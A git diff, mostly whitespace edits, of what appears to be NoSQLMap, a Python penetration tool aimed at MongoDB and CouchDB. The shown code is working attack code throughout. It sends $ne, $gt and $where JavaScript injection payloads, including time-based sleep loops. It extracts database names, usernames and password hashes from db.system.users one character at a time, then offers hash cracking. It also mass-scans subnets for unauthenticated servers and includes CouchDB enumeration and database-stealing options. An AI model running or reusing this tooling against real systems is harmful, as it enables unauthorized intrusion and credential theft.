"POST": fo.write(",\n"+ str(postData)) fo.close() @@ -448,23 +448,23 @@ def postApps(): global neDict global gtDict testNum = 1 - - #Verify app is working. + + #Verify app is working. print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." - + if https == "OFF": appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri) - + elif https == "ON": appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri) - + try: body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) appRespCode = urllib2.urlopen(req).getcode() - + if appRespCode == 200: - + normLength = int(len(urllib2.urlopen(req).read())) timeReq = urllib2.urlopen(req) start = time.time() @@ -472,27 +472,27 @@ def postApps(): end = time.time() timeReq.close() timeBase = round((end - start), 3) - + if verb == "ON": print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" - + else: print "App is up!" appUp = True else: print "Got " + str(appRespCode) + "from the app, check your options." - + except: print "Looks like the server didn't respond. Check your options." - + if appUp == True: - + menuItem = 1 print "List of parameters:" for params in postData.keys(): print str(menuItem) + "-" + params menuItem += 1 - + try: injIndex = raw_input("Which parameter should we inject? ") injOpt = str(postData.keys()[int(injIndex)-1]) @@ -500,32 +500,32 @@ def postApps(): except: raw_input("Something went wrong. Press enter to return to the main menu...") return - + injectSize = raw_input("Baseline test-Enter random string size: ") injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" - + #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. #Add error handling for Non-200 HTTP response codes if random strings freak out the app. postData.update({injOpt:injectString}) if verb == "ON": print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n" - + else: print "Sending random parameter value..." - + body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) randLength = int(len(urllib2.urlopen(req).read())) print "Got response length of " + str(randLength) + "." - + randNormDelta = abs(normLength - randLength) - - if randNormDelta == 0: + + if randNormDelta == 0: print "No change in response size injecting a random parameter..\n" else: - print "Random value variance: " + str(randNormDelta) + "\n" - + print "Random value variance: " + str(randNormDelta) + "\n" + #Generate not equals injection neDict = postData neDict[injOpt + "[$ne]"] = neDict[injOpt] @@ -534,24 +534,24 @@ def postApps(): req = urllib2.Request(appURL,body) if verb == "ON": print "Testing Mongo PHP not equals associative array injection using " + str(postData) +"..." - + else: print "Test 1: PHP/ExpressJS != associative array injection" errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - + if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(urllib2.urlopen(req).read())) checkResult(randLength,injLen,testNum) testNum += 1 - + else: testNum +=1 print "\n" - + #Delete the extra key del postData[injOpt + "[$ne]"] - + #generate $gt injection gtDict = postData gtDict.update({injOpt:""}) @@ -561,38 +561,38 @@ def postApps(): req = urllib2.Request(appURL,body) if verb == "ON": print "Testing PHP/ExpressJS >Undefined Injection using " + str(postData) + "..." - + else: print "Test 2: PHP/ExpressJS > Undefined Injection" - + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - + if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(urllib2.urlopen(req).read())) checkResult(randLength,injLen,testNum) testNum += 1 - + postData.update({injOpt:"a'; return db.a.find(); var dummy='!"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) if verb == "ON": print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" print "Injecting " + str(postData) - + else: print "Test 3: $where injection (string escape)" - + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - + if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) checkResult(randLength,injLen,testNum) testNum += 1 else: testNum += 1 - + print "\n" - + postData.update({injOpt:"1; return db.a.find(); var dummy=1"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) @@ -601,9 +601,9 @@ def postApps(): print "Injecting " + str(postData) else: print "Test 4: $where injection (integer escape)" - + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - + if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) checkResult(randLength,injLen,testNum) @@ -619,55 +619,55 @@ def postApps(): if verb == "ON": print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" print " Injecting " + str(postData) - + else: print "Test 5: $where injection string escape (single record)" - + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - + if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) checkResult(randLength,injLen,testNum) testNum += 1 - + else: testNum += 1 print "\n" - + postData.update({injOpt:"1; return db.a.findOne(); var dummy=1"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) if verb == "ON": print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" print " Injecting " + str(postData) - + else: print "Test 6: $where injection integer escape (single record)" - + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - + if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) checkResult(randLength,injLen,testNum) testNum += 1 - + else: testNum += 1 print "\n" - + postData.update({injOpt:"a'; return this.a != '" + injectString + "'; var dummy='!"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) - + if verb == "ON": print "Testing Mongo this not equals string escape attack for all records..." print " Injecting " + str(postData) - + else: print "Test 7: This != injection (string escape)" - + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - + if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) checkResult(randLength,injLen,testNum) @@ -675,30 +675,30 @@ def postApps(): print "\n" else: testNum += 1 - + postData.update({injOpt:"1; return this.a != '" + injectString + "'; var dummy=1"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) - + if verb == "ON": print "Testing Mongo this not equals integer escape attack for all records..." print " Injecting " + str(postData) else: print "Test 8: This != injection (integer escape)" - + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) - + if errorCheck == False: injLen = int(len(urllib2.urlopen(req).read())) checkResult(randLength,injLen,testNum) testNum += 1 - + else: testNum += 1 print "\n" - + doTimeAttack = raw_input("Start timing based tests (y/n)? ") - + if doTimeAttack == "y" or doTimeAttack == "Y": print "Starting Javascript string escape time based injection..." postData.update({injOpt:"a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(curDate.getTime()-date.getTime()))/1000 < 10); return true; var dummy='a"}) @@ -715,19 +715,19 @@ def postApps(): if strTimeDelta > 25: print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible." strTbAttack = True - + else: print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work." strTbAttack = False - + print "Starting Javascript integer escape time based injection..." - + postData.update({injOpt:"1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"}) body = urllib.urlencode(postData) start = time.time() conn = urllib2.urlopen(req,body) page = conn.read() - end = time.time() + end = time.time() conn.close() print str(end) print str(start) @@ -736,12 +736,12 @@ def postApps(): if intTimeDelta > 25: print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible." intTbAttack = True - + else: print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work." intTbAttack = False - - print "\n" + + print "\n" print "Exploitable requests:" print "\n".join(vulnAddrs) print "\n" @@ -749,7 +749,7 @@ def postApps(): print"\n".join(possAddrs) print "\n" print "Timing based attacks:" - + if strTbAttack == True: print "String attack-Successful" else: @@ -758,9 +758,9 @@ def postApps(): print "Integer attack-Successful" else: print "Integer attack-Unsuccessful" - + fileOut = raw_input("Save results to file (y/n)? ") - + if fileOut in yes_tag: savePath = raw_input("Enter output file name: ") fo = open(savePath, "wb") @@ -771,23 +771,23 @@ def postApps(): fo.write("\n".join(possAddrs)) fo.write("\n") fo.write("Timing based attacks:\n") - + if strTbAttack == True: fo.write("String Attack-Successful\n") else: fo.write("String Attack-Unsuccessful\n") fo.write("\n") - + if intTbAttack == True: fo.write("Integer attack-Successful\n") else: fo.write("Integer attack-Unsuccessful\n") fo.write("\n") fo.close() - + raw_input("Press enter to continue...") - return() - + return() + def getApps(): print "Web App Attacks (GET)" print "===============" @@ -812,13 +812,13 @@ def getApps(): str24 = False global int24 int24 = False - - #Verify app is working. + + #Verify app is working. print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." - + if https == "OFF": appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri) - + elif https == "ON": appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri) try: @@ -831,53 +831,53 @@ def getApps(): end = time.time() timeReq.close() timeBase = round((end - start), 3) - + if verb == "ON": print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n" - + else: print "App is up!" appUp = True - + else: print "Got " + str(appRespCode) + "from the app, check your options." except: print "Looks like the server didn't respond. Check your options." - + if appUp == True: - + injectSize = raw_input("Baseline test-Enter random string size: ") injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" - + #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. #Add error handling for Non-200 HTTP response codes if random strings freaks out the app. randomUri = buildUri(appURL,injectString) - + if verb == "ON": print "Checking random injected parameter HTTP response size using " + randomUri +"...\n" else: print "Sending random parameter value..." - + randLength = int(len(urllib.urlopen(randomUri).read())) print "Got response length of " + str(randLength) + "." randNormDelta = abs(normLength - randLength) - - if randNormDelta == 0: + + if randNormDelta == 0: print "No change in response size injecting a random parameter..\n" else: print "Random value variance: " + str(randNormDelta) + "\n" - + if verb == "ON": print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..." else: print "Test 1: PHP/ExpressJS != associative array injection" - + #Test for errors returned by injection errorCheck = errorTest(str(urllib.urlopen(uriArray[1]).read()),testNum) - + if errorCheck == False: - injLen = int(len(urllib.urlopen(uriArray[1]).read())) + injLen = int(len(urllib.urlopen(uriArray[1]).read())) checkResult(randLength,injLen,testNum) testNum += 1 else: @@ -889,97 +889,97 @@ def getApps(): print "Injecting " + uriArray[2] else: print "Test 2: $where injection (string escape)" - - + + errorCheck = errorTest(str(urllib.urlopen(uriArray[2]).read()),testNum) - - - if errorCheck == False: + + + if errorCheck == False: injLen = int(len(urllib.urlopen(uriArray[2]).read())) checkResult(randLength,injLen,testNum) testNum += 1 - + else: testNum += 1 - + print "\n" if verb == "ON": print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" print "Injecting " + uriArray[3] else: print "Test 3: $where injection (integer escape)" - + errorCheck = errorTest(str(urllib.urlopen(uriArray[3]).read()),testNum) - - + + if errorCheck == False: injLen = int(len(urllib.urlopen(uriArray[3]).read())) checkResult(randLength,injLen,testNum) testNum +=1 - + else: testNum +=1 - + #Start a single record attack in case the app expects only one record back - print "\n" + print "\n" if verb == "ON": print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" print " Injecting " + uriArray[4] else: print "Test 4: $where injection string escape (single record)" - - + + errorCheck = errorTest(str(urllib.urlopen(uriArray[4]).read()),testNum) - + if errorCheck == False: injLen = int(len(urllib.urlopen(uriArray[4]).read())) checkResult(randLength,injLen,testNum) testNum += 1 else: testNum += 1 - + print "\n" if verb == "ON": print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" print " Injecting " + uriArray[5] else: print "Test 5: $where injection integer escape (single record)" - + errorCheck = errorTest(str(urllib.urlopen(uriArray[5]).read()),testNum) - + if errorCheck == False: injLen = int(len(urllib.urlopen(uriArray[5]).read())) checkResult(randLength,injLen,testNum) testNum +=1 - + else: testNum += 1 - + print "\n" if verb == "ON": print "Testing Mongo this not equals string escape attack for all records..." print " Injecting " + uriArray[6] else: print "Test 6: This != injection (string escape)" - + errorCheck = errorTest(str(urllib.urlopen(uriArray[6]).read()),testNum) - + if errorCheck == False: injLen = int(len(urllib.urlopen(uriArray[6]).read())) checkResult(randLength,injLen,testNum) testNum += 1 else: testNum += 1 - + print "\n" if verb == "ON": print "Testing Mongo this not equals integer escape attack for all records..." print " Injecting " + uriArray[7] else: print "Test 7: This != injection (integer escape)" - + errorCheck = errorTest(str(urllib.urlopen(uriArray[7]).read()),testNum) - + if errorCheck == False: injLen = int(len(urllib.urlopen(uriArray[7]).read())) checkResult(randLength,injLen,testNum) @@ -987,23 +987,23 @@ def getApps(): else: testNum += 1 print "\n" - + if verb == "ON": print "Testing PHP/ExpressJS > undefined attack for all records..." print "Injecting " + uriArray[8] - + else: print "Test 8: PHP/ExpressJS > Undefined Injection" - + errorCheck = errorTest(str(urllib.urlopen(uriArray[8]).read()),testNum) - + if errorCheck == False: injLen = int(len(urllib.urlopen(uriArray[8]).read())) checkResult(randLength,injLen,testNum) testNum += 1 - + doTimeAttack = raw_input("Start timing based tests (y/n)? ") - + if doTimeAttack in yes_tag: print "Starting Javascript string escape time based injection..." start = time.time() @@ -1018,11 +1018,11 @@ def getApps(): if strTimeDelta > 25: print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible." strTbAttack = True - + else: print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work." strTbAttack = False - + print "Starting Javascript integer escape time based injection..." start = time.time() intTimeInj = urllib.urlopen(uriArray[9]) @@ -1036,19 +1036,19 @@ def getApps(): if intTimeDelta > 25: print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible." intTbAttack = True - + else: print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work." intTbAttack = False - + if lt24 == True: bfInfo = raw_input("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? ") - + if bfInfo in yes_tag: getDBInfo() - - - print "\n" + + + print "\n" print "Vunerable URLs:" print "\n".join(vulnAddrs) print "\n" @@ -1056,7 +1056,7 @@ def getApps(): print"\n".join(possAddrs) print "\n" print "Timing based attacks:" - + if strTbAttack == True: print "String attack-Successful" else: @@ -1065,9 +1065,9 @@ def getApps(): print "Integer attack-Successful" else: print "Integer attack-Unsuccessful" - + fileOut = raw_input("Save results to file (y/n)? ") - + if fileOut in yes_tag: savePath = raw_input("Enter output file name: ") fo = open(savePath, "wb") @@ -1078,20 +1078,20 @@ def getApps(): fo.write("\n".join(possAddrs)) fo.write("\n") fo.write("Timing based attacks:\n") - + if strTbAttack == True: fo.write("String Attack-Successful\n") else: fo.write("String Attack-Unsuccessful\n") fo.write("\n") - + if intTbAttack == True: fo.write("Integer attack-Successful\n") else: fo.write("Integer attack-Unsuccessful\n") fo.write("\n") fo.close() - + raw_input("Press enter to continue...") return() @@ -1101,19 +1101,19 @@ def errorTest (errorCheck,testNum): global neDict global gtDict global postData - + if errorCheck.find('ReferenceError') != -1 or errorCheck.find('SyntaxError') != -1 or errorCheck.find('ILLEGAL') != -1: print "Injection returned a MongoDB Error. Injection may be possible." - + if httpMethod == "GET": possAddrs.append(uriArray[testNum]) return True - + else: if testNum == 1: possAddrs.append(str(neDict)) return True - + elif testNum == 2: possAddrs.append(str(gtDict)) return True @@ -1123,8 +1123,8 @@ def errorTest (errorCheck,testNum): return True else: return False - - + + def checkResult(baseSize,respSize,testNum): global vulnAddrs @@ -1136,40 +1136,40 @@ def checkResult(baseSize,respSize,testNum): global neDict global gtDict global postData - + delta = abs(respSize - baseSize) if (delta >= 100) and (respSize != 0) : if verb == "ON": print "Response varied " + str(delta) + " bytes from random parameter value! Injection works!" else: print "Successful injection!" - + if httpMethod == "GET": vulnAddrs.append(uriArray[testNum]) else: if testNum == 1: vulnAddrs.append(str(neDict)) - + elif testNum == 2: vulnAddrs.append(str(gtDict)) else: vulnAddrs.append(str(postData)) - + if testNum == 3 or testNum == 5: lt24 = True str24 = True - + elif testNum == 4 or testNum == 6: lt24 = True int24 = True return - + elif (delta > 0) and (delta < 100) and (respSize != 0) : if verb == "ON": print "Response variance was only " + str(delta) + " bytes. Injection might have worked but difference is too small to be certain. " else: print "Possible injection." - + if httpMethod == "GET": possAddrs.append(uriArray[testNum]) else: @@ -1178,14 +1178,14 @@ def checkResult(baseSize,respSize,testNum): else: possAddrs.append(str(postData)) return - + elif (delta == 0): if verb == "ON": print "Random string response size and not equals injection were the same. Injection did not work." else: print "Injection failed." return - + else: if verb == "ON": print "Injected response was smaller than random response. Injection may have worked but requires verification." @@ -1199,7 +1199,7 @@ def checkResult(baseSize,respSize,testNum): else: possAddrs.append(str(postData)) return - + def randInjString(size): print "What format should the random string take?" print "1-Alphanumeric" @@ -1207,29 +1207,29 @@ def randInjString(size): print "3-Numbers only" print "4-Email address" format = True - + while format: format = raw_input("Select an option: ") - + if format == "1": chars = string.ascii_letters + string.digits return ''.join(random.choice(chars) for x in range(size)) - + elif format == "2": chars = string.ascii_letters return ''.join(random.choice(chars) for x in range(size)) - + elif format == "3": chars = string.digits return ''.join(random.choice(chars) for x in range(size)) - + elif format == "4": chars = string.ascii_letters + string.digits - return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com' + return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com' else: format = True print "Invalid selection." - + def buildUri(origUri, randValue): paramName = [] @@ -1237,36 +1237,36 @@ def buildUri(origUri, randValue): global uriArray uriArray = ["","","","","","","","","","","","","","","","","","",""] injOpt = "" - + #Split the string between the path and parameters, and then split each parameter try: split_uri = origUri.split("?") params = split_uri[1].split("&") - + except: raw_input("Not able to parse the URL and parameters. Check options settings. Press enter to return to main menu...") return - + for item in params: index = item.find("=") paramName.append(item[0:index]) paramValue.append(item[index + 1:len(item)]) - + menuItem = 1 print "List of parameters:" for params in paramName: print str(menuItem) + "-" + params menuItem += 1 - + try: injIndex = raw_input("Which parameter should we inject? ") injOpt = str(paramName[int(injIndex)-1]) print "Injecting the " + injOpt + " parameter..." - + except: raw_input("Something went wrong. Press enter to return to the main menu...") return - + x = 0 uriArray[0] = split_uri[0] + "?" uriArray[1] = split_uri[0] + "?" @@ -1287,8 +1287,8 @@ def buildUri(origUri, randValue): uriArray[16] = split_uri[0] + "?" uriArray[17] = split_uri[0] + "?" uriArray[18] = split_uri[0] + "?" - - for item in paramName: + + for item in paramName: if paramName[x] == injOpt: uriArray[0] += paramName[x] + "=" + randValue + "&" uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&" @@ -1332,15 +1332,15 @@ def buildUri(origUri, randValue): uriArray[17] += paramName[x] + "=" + paramValue[x] + "&" uriArray[18] += paramName[x] + "=" + paramValue[x] + "&" x += 1 - + #Clip the extra & off the end of the URL x = 0 while x <= 17: uriArray[x]= uriArray[x][:-1] x += 1 - return uriArray[0] - + return uriArray[0] + def massScan(): global victim @@ -1360,13 +1360,13 @@ def massScan(): print "2-Loads IPs to scan from a file" print "3-Enable/disable host pings before attempting connection" print "x-Return to main menu" - + while optCheck: loadOpt = raw_input("Select an option: ") - + if loadOpt == "1": subnet = raw_input("Enter subnet to scan: ") - + try: for ip in ipcalc.Network(subnet): ipList.append(str(ip)) @@ -1374,7 +1374,7 @@ def massScan(): except: raw_input("Not a valid subnet. Press enter to return to main menu.") return - + if loadOpt == "2": while loadCheck == False: loadPath = raw_input("Enter file name with IP list to scan: ") @@ -1386,54 +1386,54 @@ def massScan(): optCheck = False except: print "Couldn't open file." - + if loadOpt == "3": if ping == False: ping = True print "Scan will ping host before connection attempt." - + elif ping == True: ping = False print "Scan will not ping host before connection attempt." - + if loadOpt == "x": return - + print "\n" for target in ipList: - + if platform == "MongoDB": result = nsmmongo.mongoScan(target.rstrip(),27017,ping) - + elif platform == "CouchDB": result = nsmcouch.couchScan(target.rstrip(),5984,ping) - + if result[0] == 0: print "Successful default access on " + target.rstrip() + "(" + platform + " Version: " + result[1] + ")." success.append(target.rstrip()) versions.append(result[1]) - + elif result[0] == 1: print platform + " running but credentials required on " + target.rstrip() + "." creds.append(target.rstrip()) #Future use - + elif result[0] == 2: print "Successful " + platform + " connection to " + target.rstrip() + " but error executing command." commError.append(target.rstrip()) #Future use - + elif result[0] == 3: print "Couldn't connect to " + target.rstrip() + "." - + elif result[0] == 4: print target.rstrip() + " didn't respond to ping." - + print "\n\n" select = True while select: saveEm = raw_input("Save scan results to CSV? (y/n):") - + if saveEm in yes_tag: savePath = raw_input("Enter file name to save: ") outCounter = 0 @@ -1442,47 +1442,47 @@ def massScan(): fo.write("IP Address," + platform + " Version\n") for server in success: fo.write(server + "," + versions[outCounter] + "\n" ) - outCounter += 1 - + outCounter += 1 + fo.close() print "Scan results saved!" select = False except: print "Couldn't save scan results." - + elif saveEm in no_tag: select = False else: select = True - + print "Discovered " + platform + " Servers with No Auth:" print "IP" + " " + "Version" - + outCounter= 1 - + for server in success: print str(outCounter) + "-" + server + " " + versions[outCounter - 1] outCounter += 1 - + select = True print "\n" while select: select = raw_input("Select a NoSQLMap target or press x to exit: ") - + if select == "x" or select == "X": return - + elif select.isdigit() == True and int(select) <= outCounter: victim = success[int(select) - 1] optionSet[0] = True raw_input("New target set! Press enter to return to the main menu.") return - + else: - raw_input("Invalid selection.") + raw_input("Invalid selection.") + - def getDBInfo(): curLen = 0 nameLen = 0 @@ -1501,30 +1501,30 @@ def getDBInfo(): users = [] hashes = [] crackHash = "" - + chars = string.ascii_letters + string.digits print "Getting baseline True query return size..." trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&") #print "Debug " + str(trueUri) baseLen = int(len(urllib.urlopen(trueUri).read())) print "Got baseline true query length of " + str(baseLen) - + print "Calculating DB name length..." - + while gotNameLen == False: calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} var dum='a" + "&") #print "Debug: " + calcUri lenUri = int(len(urllib.urlopen(calcUri).read())) #print "Debug length: " + str(lenUri) - + if lenUri == baseLen: print "Got database name length of " + str(curLen) + " characters." gotNameLen = True - + else: curLen += 1 - - print "Database Name: ", + + print "Database Name: ", while gotDbName == False: charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } var dum='a" + "&") lenUri = int(len(urllib.urlopen(charUri).read())) @@ -1534,17 +1534,17 @@ def getDBInfo(): print chars[charCounter], nameCounter += 1 charCounter = 0 - + if nameCounter == curLen: gotDbName = True - - + + else: charCounter += 1 print "\n" - + getUserInf = raw_input("Get database users and password hashes (y/n)? ") - + if getUserInf in yes_tag: charCounter = 0 nameCounter = 0 @@ -1552,14 +1552,14 @@ def getDBInfo(): while gotUserCnt == False: usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a") lenUri = int(len(urllib.urlopen(usrCntUri).read())) - + if lenUri == baseLen: print "Found " + str(usrCount) + " user(s)." gotUserCnt = True - + else: usrCount += 1 - + usrChars = 0 #total number of characters in username charCounterUsr = 0 #position in the character array-Username rightCharsUsr = 0 #number of correct characters-Username @@ -1569,34 +1569,34 @@ def getDBInfo(): pwdHash = "" charCountUsr = False query = "{}" - + while retrUsers < usrCount: if retrUsers == 0: while charCountUsr == False: #different query to get the first user vs. others usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") lenUri = int(len(urllib.urlopen(usrUri).read())) - + if lenUri == baseLen: #Got the right number of characters charCountUsr = True - + else: usrChars += 1 - + while rightCharsUsr < usrChars: usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") lenUri = int(len(urllib.urlopen(usrUri).read())) - + if lenUri == baseLen: username = username + chars[charCounterUsr] #print username rightCharsUsr += 1 - charCounterUsr = 0 - + charCounterUsr = 0 + else: charCounterUsr += 1 - + retrUsers += 1 users.append(username) #reinitialize all variables and get ready to do it again @@ -1606,20 +1606,20 @@ def getDBInfo(): rightCharsUsr = 0 usrChars = 0 username = "" - + while rightCharsHash < 32: #Hash length is static hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } var dum='a" + "&") lenUri = int(len(urllib.urlopen(hashUri).read())) - + if lenUri == baseLen: pwdHash = pwdHash + chars[charCounterHash] #print pwdHash rightCharsHash += 1 charCounterHash = 0 - + else: charCounterHash += 1 - + hashes.append(pwdHash) print "Got user:hash " + users[0] + ":" + hashes[0] #reinitialize all variables and get ready to do it again @@ -1631,46 +1631,46 @@ def getDBInfo(): #different query to get the first user vs. others usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") lenUri = int(len(urllib.urlopen(usrUri).read())) - + if lenUri == baseLen: #Got the right number of characters charCountUsr = True - + else: usrChars += 1 - + while rightCharsUsr < usrChars: - usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") + usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") lenUri = int(len(urllib.urlopen(usrUri).read())) - + if lenUri == baseLen: username = username + chars[charCounterUsr] #print username rightCharsUsr += 1 - charCounterUsr = 0 - + charCounterUsr = 0 + else: charCounterUsr += 1 - + retrUsers += 1 #reinitialize all variables and get ready to do it again - + charCountUsr = False rightCharsUsr = 0 usrChars = 0 - + while rightCharsHash < 32: #Hash length is static hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&") lenUri = int(len(urllib.urlopen(hashUri).read())) - + if lenUri == baseLen: pwdHash = pwdHash + chars[charCounterHash] rightCharsHash += 1 charCounterHash = 0 - + else: charCounterHash += 1 - + users.append(username) hashes.append(pwdHash) print "Got user:hash " + users[retrUsers-1] + ":" + hashes[retrUsers-1] @@ -1679,18 +1679,18 @@ def getDBInfo(): charCounterHash = 0 rightCharsHash = 0 pwdHash = "" - crackHash = raw_input("Crack recovered hashes (y/n)?: ") - + crackHash = raw_input("Crack recovered hashes (y/n)?: ") + while crackHash in yes_tag: menuItem = 1 for user in users: print str(menuItem) + "-" + user menuItem +=1 - + userIndex = raw_input("Select user hash to crack: ") nsmmongo.passCrack(users[int(userIndex)-1],hashes[int(userIndex)-1]) - - crackHash = raw_input("Crack another hash (y/n)?") + + crackHash = raw_input("Crack another hash (y/n)?") raw_input("Press enter to continue...") return diff --git a/nsmcouch.py b/nsmcouch.py index 08fe604..854d296 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -36,14 +36,14 @@ def couchScan(target,port,pingIt): if pingIt == True: test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null") - if test == 0: + if test == 0: try: conn = couchdb.Server("http://" + str(target) + ":" + str(port) + "/") try: dbVer = conn.version() return [0,dbVer] - + except couchdb.http.Unauthorized: return [1,None] @@ -63,7 +63,7 @@ def couchScan(target,port,pingIt): try: dbVer = conn.version() return [0,dbVer] - + except couchdb.http.Unauthorized: return [1,None] @@ -72,8 +72,8 @@ def couchScan(target,port,pingIt): except: return [3,None] - - + + def netAttacks(target,port, myIP): print "DB Access attacks (CouchDB)" print "======================" @@ -82,7 +82,7 @@ def netAttacks(target,port, myIP): mgtSelect = True #This is a global for future use with other modules; may change dbList = [] - + print "Checking to see if credentials are needed..." needCreds = couchScan(target,port,False) @@ -96,7 +96,7 @@ def netAttacks(target,port, myIP): srvUser = raw_input("Enter server username: ") srvPass = raw_input("Enter server password: ") uri = "http://" + srvUser + ":" + srvPass + "@" + target + ":" + str(port) + "/" - + try: conn = couchdb.Server(uri) print "CouchDB authenticated on " + target + ":" + str(port) @@ -105,7 +105,7 @@ def netAttacks(target,port, myIP): except: raw_input("Failed to authenticate. Press enter to continue...") return - + elif needCreds[0] == 2: conn = couchdb.Server("http://" + str(target) + ":" + str(port) + "/") print "Access check failure. Testing will continue but will be unreliable." @@ -115,7 +115,7 @@ def netAttacks(target,port, myIP): raw_input ("Couldn't connect to CouchDB server. Press enter to return to the main menu.") return - + mgtUrl = "http://" + target + ":" + str(port) + "/_utils" #Future rev: Add web management interface parsing try: @@ -125,7 +125,7 @@ def netAttacks(target,port, myIP): except: print "Sofa web management closed or requires authentication." - + if mgtOpen == True: while mgtSelect: print "\n" @@ -139,7 +139,7 @@ def netAttacks(target,port, myIP): if attack == "1": print "\n" getPlatInfo(conn,target) - + if attack == "2": print "\n" enumDbs(conn,target,port) @@ -147,14 +147,14 @@ def netAttacks(target,port, myIP): if attack == "3": print "\n" enumAtt(conn,target,port) - + if attack == "4": print "\n" stealDBs(myIP,conn,target,port) if attack == "5": return - + def getPlatInfo(couchConn, target): print "Server Info:" print "CouchDB Version: " + couchConn.version() @@ -163,16 +163,16 @@ def getPlatInfo(couchConn, target): def enumAtt(conn,target): dbList = [] print "Enumerating all attachments..." - + for db in conn: dbList.append(db) - + for dbName in dbList: r = requests.get("http://" + target + ":" + str(port) + "/" + dbName + "/_all_docs" ) dbDict = r.json() - - - + + + def enumDbs (couchConn,target,port): dbList = [] userNames = [] @@ -181,79 +181,79 @@ def enumDbs (couchConn,target,port): try: for db in couchConn: dbList.append(db) - - + + print "List of databases:" print "\n".join(dbList) print "\n" - + except: print "Error: Couldn't list databases. The provided credentials may not have rights." if '_users' in dbList: r = requests.get("http://" + target + ":" + str(port) + "/_users/_all_docs?startkey=\"org.couchdb.user\"&include_docs=true") - 